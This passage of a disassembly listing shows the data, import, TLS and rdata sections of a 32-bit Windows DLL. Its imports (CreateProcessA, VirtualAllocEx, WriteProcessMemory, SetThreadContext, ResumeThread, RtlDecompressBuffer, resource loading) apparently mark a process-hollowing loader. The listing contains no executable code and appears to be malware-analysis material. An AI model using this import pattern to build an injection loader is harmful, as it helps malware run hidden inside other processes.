offset sub_10001010 ; DATA XREF: sub_10002DBC-2B6r ; CODE:10002D14r ... dword_1000A018 dd 0 ; DATA XREF: sub_10002FD4+A8r ; sub_10002FD4+B1r dword_1000A01C dd 10000000h ; DATA XREF: sub_10002E7C+29w dword_1000A020 dd 23Ch ; DATA XREF: CODE:10003592w byte_1000A024 db 0 ; DATA XREF: sub_10002E7C+33w align 4 dword_1000A028 dd 0Ah ; DATA XREF: CODE:1000353Bw dword_1000A02C dd 142340h ; DATA XREF: CODE:10003531w dword_1000A030 dd 0 ; DATA XREF: sub_10002FD4+Eo byte_1000A034 db 0 ; DATA XREF: sub_10002F48+1r byte_1000A035 db 0 ; DATA XREF: sub_10001788+1Br ; sub_10001788:loc_1000182Ar ... byte_1000A036 db 2 ; DATA XREF: CODE:100034EDw align 4 dword_1000A038 dd 0 ; DATA XREF: sub_100026E4:loc_10002723o ; CODE:1000346Do word_1000A03C dw 0D7B0h ; DATA XREF: CODE:10003511w align 10h dd 71h dup(0) dword_1000A204 dd 0 ; DATA XREF: sub_10002F48+1Eo ; CODE:10003477o word_1000A208 dw 0D7B0h ; DATA XREF: sub_10002F48+Ar ; CODE:1000351Aw align 10h dword_1000A210 dd 0 ; DATA XREF: sub_10002F48+15r align 10h dword_1000A220 dd 0 ; DATA XREF: sub_10002F48+23r dd 6Bh dup(0) dword_1000A3D0 dd 0 ; DATA XREF: CODE:10003481o word_1000A3D4 dw 0D7B0h ; DATA XREF: CODE:10003523w align 4 dd 71h dup(0) dword_1000A59C dd 3 ; DATA XREF: sub_100019F0w ; sub_10001D80+92w ... dword_1000A5A0 dd 9030h ; DATA XREF: sub_100019F0+16w ; sub_10001D80+9Bw ... dword_1000A5A4 dd 0FFFFFFFFh ; DATA XREF: CODE:10003465w ; CODE:100034C5w dword_1000A5A8 dd 3 ; DATA XREF: CODE:10003561w ; CODE:10003577w ... byte_1000A5AC db 1 ; DATA XREF: sub_10001788+8Ew ; sub_10001788:loc_10001845r ... align 10h dword_1000A5B0 dd 0 ; DATA XREF: sub_1000137C+6Dw ; sub_100014C8+63w ... dword_1000A5B4 dd 77FC5860h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_10001788+11o ; sub_10001788+24o ... dword_1000A5CC dd 1449B8h ; DATA XREF: sub_100010FC:loc_1000111Fr ; sub_100010FC+2Aw ... dword_1000A5D0 dd 144FBCh ; DATA XREF: sub_100010FC+2o ; sub_10001184+Ar ... dword_1000A5D4 dd 144FECh ; DATA XREF: sub_100012A0+3Eo ; sub_10001304+51o ... dd 144FECh, 2 dup(0) dword_1000A5E4 dd 2 dup(144FDCh), 2 dup(0) ; DATA XREF: sub_10001548+Bo ; sub_100015D8+Eo ... off_1000A5F4 dd offset off_1000A5F4 ; DATA XREF: sub_10001788+7Fo ; BSS:off_1000A5F4o ... off_1000A5F8 dd offset off_1000A5F4 ; DATA XREF: sub_10001D80:loc_10001D90r align 10h off_1000A600 dd offset off_1000A5F4 ; DATA XREF: sub_10001788+89w ; sub_1000192C+1r ... dword_1000A604 dd 6FC0h ; DATA XREF: sub_10001C1Cr ; sub_10001C1C+9r ... dword_1000A608 dd 82903Ch ; DATA XREF: sub_10001C1C+26r ; sub_10001C1C+2Er ... dword_1000A60C dd 1439B8h ; DATA XREF: sub_10001788+58w ; sub_10001788+5Dr ... dword_1000A610 dd 144FCCh ; DATA XREF: sub_10001788+42o ; sub_1000184C+81o ... dd 144FCCh, 2 dup(0) dword_1000A620 dd 0 ; DATA XREF: sub_10002DBC+6o ; sub_10002F18+Do ... dword_1000A624 dd 12FFB4h ; DATA XREF: sub_10002D74+17w ; sub_10002D94+2r off_1000A628 dd offset dword_10007830 ; DATA XREF: sub_10002E1C+6r ; sub_10002E7C+14w dword_1000A62C dd 9 ; DATA XREF: sub_10002E1C+2Cw ; sub_10002E7C+1Bw off_1000A630 dd offset dword_10008088 ; DATA XREF: sub_10002E7C+20w dd 6 dup(0) dword_1000A64C dd 0 ; DATA XREF: CODE:10003490o byte_1000A650 db 0 ; DATA XREF: sub_10003628r align 4 dword_1000A654 dd 10000000h ; DATA XREF: sub_10003674+11w ; sub_10003674+16r dword_1000A658 dd 0FFFFFFFFh ; DATA XREF: CODE:100036C9w ; CODE:100036E8w dword_1000A65C dd 0 ; DATA XREF: sub_10003628:loc_10003657r dword_1000A660 dd 0FFFFFFFFh ; DATA XREF: CODE:10003701w ; CODE:10003720w dword_1000A664 dd 0FFFFFFFFh ; DATA XREF: CODE:100037B1w ; CODE:100037D0w dword_1000A668 dd 0FFFFFFFFh ; DATA XREF: CODE:10003871w ; CODE:10003890w dword_1000A66C dd 0FFFFFFFFh ; DATA XREF: CODE:10003D81w ; CODE:10003DA0w dword_1000A670 dd 0FFFFFFFFh ; DATA XREF: CODE:10006B3Dw ; CODE:10006B5Cw dword_1000A674 dd 0FFFFFFFFh ; DATA XREF: CODE:10007239w ; CODE:10007258w dword_1000A678 dd 82000Ch ; DATA XREF: CODE:100078ACo ; CODE:100078BBr ... db 0 BSS ends ; Section 4. (virtual address 0000B000) ; Virtual size : 000004D8 ( 1240.) ; Section size in file : 000004D8 ( 1240.) ; Offset to raw data for section: 0000B000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata segment para public 'DATA' use32 assume cs:_idata ;org 1000B000h dd 3 dup(0) dd 0B15Ch, 0B08Ch, 3 dup(0) dd 0B2FAh, 0B0E8h, 3 dup(0) dd 0B332h, 0B0F8h, 3 dup(0) dd 0B372h, 0B108h, 3 dup(0) dd 0B3BEh, 0B11Ch, 3 dup(0) dd 0B4B8h, 0B154h, 5 dup(0) dword_1000B08C dd 77F53275h ; DATA XREF: sub_100010F4r dword_1000B090 dd 77F7E300h ; DATA XREF: sub_100010ECr dword_1000B094 dd 77F7E21Fh ; DATA XREF: sub_100010E4r dword_1000B098 dd 77E79908h ; DATA XREF: sub_100010DCr dword_1000B09C dd 77E79E34h ; DATA XREF: sub_100010D4r dword_1000B0A0 dd 77E7980Ah ; DATA XREF: sub_100010CCr dword_1000B0A4 dd 77E79A45h ; DATA XREF: sub_100010C4r dword_1000B0A8 dd 77E79881h ; DATA XREF: sub_100010BCr dword_1000B0AC dd 77E7C486h ; DATA XREF: sub_10001090r dword_1000B0B0 dd 77E77CC4h ; DATA XREF: sub_10001088r dword_1000B0B4 dd 77E77F21h ; DATA XREF: sub_10001068r dword_1000B0B8 dd 77E6177Ah ; DATA XREF: sub_10001060r dword_1000B0BC dd 77E7A099h ; DATA XREF: sub_10001058r dword_1000B0C0 dd 77E7513Ch ; DATA XREF: sub_10001050r dword_1000B0C4 dd 77E7C938h ; DATA XREF: sub_10001048r dword_1000B0C8 dd 77E80618h ; DATA XREF: sub_10001040r dword_1000B0CC dd 77E75CB5h ; DATA XREF: sub_10001030r dword_1000B0D0 dd 77E79D8Ch ; DATA XREF: sub_10001020r dword_1000B0D4 dd 77EB9A84h ; DATA XREF: sub_10001018r dword_1000B0D8 dd 77F6183Eh ; DATA XREF: sub_10001010r dword_1000B0DC dd 77E6D706h ; DATA XREF: sub_10001008r dword_1000B0E0 dd 77E79C3Dh ; DATA XREF: sub_10001000r align 8 dword_1000B0E8 dd 77D6E1D6h ; DATA XREF: sub_10002830r dword_1000B0EC dd 77D6ADD7h ; DATA XREF: sub_10001038r dword_1000B0F0 dd 77D472ECh ; DATA XREF: sub_10001028r align 8 dword_1000B0F8 dd 77DD23D7h ; DATA XREF: sub_10001080r dword_1000B0FC dd 77DD22EAh ; DATA XREF: sub_10001078r dword_1000B100 dd 77DD189Ah ; DATA XREF: sub_10001070r align 8 dword_1000B108 dd 77E79B39h ; DATA XREF: sub_100035C8r dword_1000B10C dd 77E78B61h ; DATA XREF: sub_100035C0r dword_1000B110 dd 77E79881h ; DATA XREF: sub_100035B8r dword_1000B114 dd 77E79F93h ; DATA XREF: sub_100035B0r dd 0 dword_1000B11C dd 77E61A90h ; DATA XREF: sub_10003788r dword_1000B120 dd 77E79824h ; DATA XREF: sub_10003780r dword_1000B124 dd 77E7980Ah ; DATA XREF: sub_10003778r dword_1000B128 dd 77E7105Fh ; DATA XREF: sub_10003770r dword_1000B12C dd 77EB9953h ; DATA XREF: sub_10003768r dword_1000B130 dd 77E6E154h ; DATA XREF: sub_10003760r dword_1000B134 dd 77E61A54h ; DATA XREF: sub_10003758r dword_1000B138 dd 77E7C931h ; DATA XREF: sub_10003750r dword_1000B13C dd 77E760B5h ; DATA XREF: sub_10003748r dword_1000B140 dd 77E97F16h ; DATA XREF: sub_10003740r dword_1000B144 dd 77E79F93h ; DATA XREF: sub_10003738r dword_1000B148 dd 77E6CA8Ah ; DATA XREF: sub_10003730r dword_1000B14C dd 77E61BB8h ; DATA XREF: sub_10003728r dd 0 dword_1000B154 dd 77FA44C8h ; DATA XREF: sub_100037D8r dd 0 aKernel32_dll db 'kernel32.dll',0 align 4 aDeletecritical db 'DeleteCriticalSection',0 align 4 aLeavecriticals db 'LeaveCriticalSection',0 align 4 aEntercriticals db 'EnterCriticalSection',0 align 4 aInitializecrit db 'InitializeCriticalSection',0 align 10h aVirtualfree db 'VirtualFree',0 dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 6F4C0000h, 466C6163h dd 656572h, 6F4C0000h, 416C6163h, 636F6C6Ch, 0 aGetversion db 'GetVersion',0 align 4 dd 65470000h, 72754374h, 746E6572h, 65726854h, 64496461h dd 0 aGetthreadlocal db 'GetThreadLocale',0 dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 4D746547h dd 6C75646Fh, 6C694665h, 6D614E65h, 4165h, 65470000h, 636F4C74h dd 49656C61h, 416F666Eh, 0 aGetcommandline db 'GetCommandLineA',0 dd 72460000h, 694C6565h, 72617262h, 79h, 74697845h, 636F7250h dd 737365h, 72570000h, 46657469h, 656C69h, 6E550000h, 646E6168h dd 4564656Ch, 70656378h, 6E6F6974h, 746C6946h, 7265h, 74520000h dd 776E556Ch, 646E69h, 61520000h, 45657369h, 70656378h dd 6E6F6974h, 0 aGetstdhandle db 'GetStdHandle',0 align 2 aUser32_dll db 'user32.dll',0 align 4 aGetkeyboardtyp db 'GetKeyboardType',0 dd 654D0000h, 67617373h, 786F4265h, 41h, 72616843h, 7478654Eh dd 64610041h, 69706176h, 642E3233h, 6C6Ch, 65520000h, 65755167h dd 61567972h, 4565756Ch, 4178h, 65520000h, 65704F67h, 79654B6Eh dd 417845h, 65520000h, 6F6C4367h, 654B6573h, 656B0079h dd 6C656E72h, 642E3233h, 6C6Ch, 6C540000h, 74655373h, 756C6156h dd 65h, 47736C54h, 61567465h, 65756Ch, 6F4C0000h, 416C6163h dd 636F6C6Ch, 0 aGetmodulehandl db 'GetModuleHandleA',0 align 2 aKernel32_dll_0 db 'kernel32.dll',0 align 4 dd 72570000h, 50657469h, 65636F72h, 654D7373h, 79726F6Dh dd 0 aVirtualallocex db 'VirtualAllocEx',0 align 4 dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 69530000h, 666F657Ah dd 6F736552h, 65637275h, 0 aSetthreadconte db 'SetThreadContext',0 align 4 aResumethread db 'ResumeThread',0 align 4 aReadprocessmem db 'ReadProcessMemory',0 align 10h aLockresource db 'LockResource',0 align 10h aLoadresource db 'LoadResource',0 align 10h aGetthreadconte db 'GetThreadContext',0 align 4 aGetmodulehan_0 db 'GetModuleHandleA',0 align 4 aFindresourcea db 'FindResourceA',0 align 4 aCreateprocessa db 'CreateProcessA',0 align 4 aNtdll_dll db 'ntdll.dll',0 align 4 aRtldecompressb db 'RtlDecompressBuffer',0 _idata ends ; Section 5. (virtual address 0000C000) ; Virtual size : 00000008 ( 8.) ; Section size in file : 00000008 ( 8.) ; Offset to raw data for section: 0000C000 ; Flags C0000000: Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Regular ; Segment permissions: Read/Write _tls segment para public '' use32 assume cs:_tls ;org 1000C000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing TlsStart dd 2 dup(0) ; DATA XREF: .rdata:TlsDirectoryo _tls ends ; Section 6. (virtual address 0000D000) ; Virtual size : 00000018 ( 24.) ; Section size in file : 00000018 ( 24.) ; Offset to raw data for section: 0000D000 ; Flags 50000040: Data Shareable Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 1000D000h TlsDirectory dd offset TlsStart TlsEnd_ptr dd 1000C008h TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsSizeOfZeroFill TlsSizeOfZeroFill dd 0 ; DATA XREF: .rdata:TlsCallbacks_ptro TlsCharacteristics dd 0 _rdata ends ; Section 9. (virtual address 00016000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00015200 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 10016000h dd 80h dup(0) align 1000h _idata2 ends end start